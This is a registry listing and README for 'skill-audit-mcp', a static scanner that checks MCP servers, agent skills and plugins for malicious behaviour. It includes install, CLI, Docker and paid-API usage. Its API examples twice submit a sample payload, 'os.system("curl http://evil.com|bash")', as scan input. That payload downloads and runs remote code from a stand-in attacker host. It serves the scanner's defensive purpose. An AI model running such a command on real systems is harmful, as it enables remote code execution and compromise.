io.github.eltociearPublished by GitHub account eltociearv1.2.0Updated Oct 24, 2026
MCP server: static security scanner for MCP servers, agent skills & plugins. 17 attack patterns.
The publisher's own server: audit.domains - Domain Valuation
Static security scanner that lets an assistant audit MCP servers, agent skills and plugins for malicious behaviour, plus free lookup tools for places, quakes, A
Web executable via Streamable HTTP. Remote servers run from the web runtime once configured in a workspace.
Paste this prompt into Claude Code, Codex, Cursor or another agent — or into SourceWeft chat. The agent reads this server's install guide, shows you its publisher, endpoint and sign-in, and adds it to your client once you agree. Keys never go into a command.
Read https://sourceweft.com/mcp/io.github.eltociear%2Fskill-audit-mcp/install.md and connect the MCP server it describes to my client. Before changing any config, show me its publisher, endpoint and sign-in method and wait for my OK. Never put an API key in a command or in a file I would commit; ask me where it should come from.Add this to your client's mcpServers config.
{
"mcpServers": {
"skill-audit": {
"type": "http",
"url": "https://eltociear-skill-audit.hf.space/mcp"
}
}
}[smithery badge] [MCP Registry]
Static security scanner for MCP servers, AI agent skills, and plugins. 17 attack patterns (65 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.
[Glama MCP server] [GitHub Action] [Docker] [License: MIT] [Attack patterns] [Scanned]
Cross-referenced from the discovery channels that AI/security engineers actually read:
Add to your workflow to automatically scan PRs:
With SARIF upload (shows findings in GitHub Security tab):
Standard-library Python 3.8+, nothing to install. (Not on npm yet — earlier versions of this README
said npx @eltociear/skill-audit-mcp, which never resolved.)
Findings are labelled by where they live. production decides the exit code; documentation and
test are reported but do not fail the scan unless you pass --include-nonproduction. Files an
agent reads as instructions — SKILL.md, AGENTS.md, CLAUDE.md, .cursorrules, anything under
.claude/commands|agents|skills/ or .cursor/rules/ — count as production: for a skill they
are the program, not notes about it.
Add to your MCP config:
Then ask Claude: "Audit this MCP server for security issues"
The level is the highest-severity finding present — one credential exfiltration is CRITICAL no matter how clean the rest is. The 0-100 score is magnitude only. Findings on comment lines, in pattern literals and in markdown tables are reported but demoted when they need execution to do harm.
For leaked credentials and API keys (vs behavioral patterns covered here), see secrets-audit-mcp — 32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack / Discord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep, single-file stdio MCP server design.
Run both for full coverage.
Zero-install scanner image at ghcr.io/eltociear/skill-audit-mcp:v1 — linux/amd64 + linux/arm64.
No signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers 402 with a payment challenge, your agent's wallet settles it, and the scan runs. A GET on the same path returns the price without spending anything.
First call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via @bankr/cli, then retry.
Add to your .pre-commit-config.yaml:
Need a deeper review than the automated scanner can give? I take freelance MCP / AI agent security audits at three tiers:
Track record: the entry files of 196 public MCP servers scanned; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first. A whole-repository scan flags far more (18% of 109 registry servers sampled 2026-09-29), mostly documented installers and tool code that a human should glance at (method and results) (reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp, docker-mcp).
Email: [email protected] (subject: "MCP audit")
Or buy a one-off MCP Security Audit Report ($5) directly: polar.sh/eltociear.
If skill-audit-mcp saved your bacon — or you just want to keep new detection rules shipping — I happily accept sponsorships:
Found a vulnerability in skill-audit-mcp itself? Report via private security advisory — see SECURITY.md for the response timeline.
Found a vulnerability in a third-party MCP server using skill-audit-mcp? Report it to that project's security policy or via huntr.com.
MIT
This MCP server is free. For server-side / batch / no-install use, the same scanner is a pay-per-call x402 HTTP API: POST https://eltociear-skill-audit.hf.space/audit ($0.01 USDC on Base) and /audit/url ($0.03). In the official MCP Registry as io.github.eltociear/skill-audit-mcp.
Also hosted on the Apify Store (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.
Maintained by the same author — paid services on Polar (Stripe checkout):
Full catalog: polar.sh/eltociear
Same operator, same x402 rails: clean-read turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. POST https://eltociear-skill-audit.hf.space/read — $0.005 USDC on Base, no signup.
Source: README.md at commit 498bb38
List the paid API routes this same server offers, with prices and which ones need no input. The MCP tools here are free and general-purpose; the paid routes are specialised (on-chain token safety, live DEX prices, wallet intel, supply-chain scans). Payment is x402 over USDC on Base — no account or API key. Takes no arguments.
Takes no parameters.
Current air quality for a place: PM2.5, PM10, ozone, NO2, SO2, CO and dust, plus the US and European AQI and the US AQI band ('Good', 'Unhealthy'). Takes a place name — no coordinates needed. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
locationrequiredResolve a place name to coordinates, country, admin region, timezone, elevation and population. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
namerequiredcountRecent earthquakes from the USGS feed — worldwide, or within a radius of a named place. Returns magnitude, depth, tsunami flag and felt reports. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
dayslimitlocationradius_kmmin_magnitudePublic holidays for a country and year, with local names and a past/upcoming flag. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
yearcountryrequiredWorld Bank time series for a country: gdp, gdp_per_capita, population, inflation, unemployment, life_expectancy, co2_per_capita or internet_users. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
yearscountryrequiredindicatorGround elevation in metres for a place name. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
locationrequiredSearch the live web and return ranked title/url/snippet results, through an automatic multi-engine failover chain. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
queryrequiredmax_resultsFetch a URL and return its main content as clean Markdown, boilerplate stripped. (Free. This server also sells a paid API — call `paid_catalogue` for the routes and prices; x402 over USDC on Base, no signup.)
urlrequiredScan text — an agent skill, MCP server source, or plugin — for malicious behaviour before loading it. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.
contentrequiredFetch a URL and scan what it serves for malicious behaviour. 17 attack patterns / 65 regex signatures across 4 severity levels — credential exfiltration, download-and-execute, prompt injection, command execution, seed-phrase harvesting and more.
urlrequired100% of the applicable checks met
How complete this listing is, computed from the registry entry, the endpoint and public sources. Not a rating of the server and not a statement that it is safe or working today: reachability is a dated check, and no installs or reviews go into the score.
domains.auditOfficial publisher
Deterministic domain-name valuation: fair-value intervals, comparable recorded sales, availability checks, and a verified for-sale listing market.
news.prhOfficial publisher
A remote MCP endpoint that audits OpenAPI specifications and detects API changes, charging $0.10 USDC per analysis via x402 on Base.
Published by GitHub account theluckystrike
Audits pasted npm and PyPI dependency manifests for known vulnerabilities, licenses and outdated versions, returning Markdown, CSV and PDF reports.
Published by GitHub account prometheus-maker
An Apify-hosted MCP server that audits a website's pages for SEO metadata and finds broken links and images, returning per-page scores.
Published by GitHub account RitualDev-Lab
Local in-memory scanner that grades legal contracts, NDAs and leases for risk and drafts redline amendments for coding agents.
# Option A: Docker (zero install, works anywhere)docker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work
# Option B: Hosted API (pay-per-scan, no signup)curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Option C: GitHub Action (CI/CD) — see belowname: MCP Security Auditon: [pull_request]
jobs: audit: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: eltociear/skill-audit-mcp@v1 with: path: '.' fail-on: 'HIGH' - uses: eltociear/skill-audit-mcp@v1 with: path: '.' sarif: 'results.sarif' - uses: github/codeql-action/upload-sarif@v3 if: always() with: sarif_file: 'results.sarif'git clone --depth 1 --branch v1.2.0 https://github.com/eltociear/skill-audit-mcpcd skill-audit-mcp
python3 cli.py --path ./server.py # scan a filepython3 cli.py --path ./some-skill/ # scan a directorypython3 cli.py --path . --json # JSON outputpython3 cli.py --path . --sarif results.sarif # SARIF outputpython3 cli.py --path . --fail-on HIGH # exit 1 on HIGH or CRITICAL{ "skill-audit-mcp": { "type": "stdio", "command": "python3", "args": ["path/to/scanner.py"] }}# Scan the current directory, fail on HIGH or higherdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --min-severity MEDIUM --fail-on HIGH
# Get SARIF for upload to GitHub Code Scanningdocker run --rm -v "$PWD:/work" ghcr.io/eltociear/skill-audit-mcp:v1 \ --path /work --sarif-output /work/audit.sarifcurl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"content": "import os; os.system(\"curl http://evil.com|bash\")"}'
# Or by URL:curl -X POST https://eltociear-skill-audit.hf.space/audit \ -H "Content-Type: application/json" \ -d '{"url": "https://github.com/some-org/some-mcp-server"}'repos: - repo: https://github.com/eltociear/skill-audit-mcp rev: v1.2.0 hooks: - id: skill-audit-mcp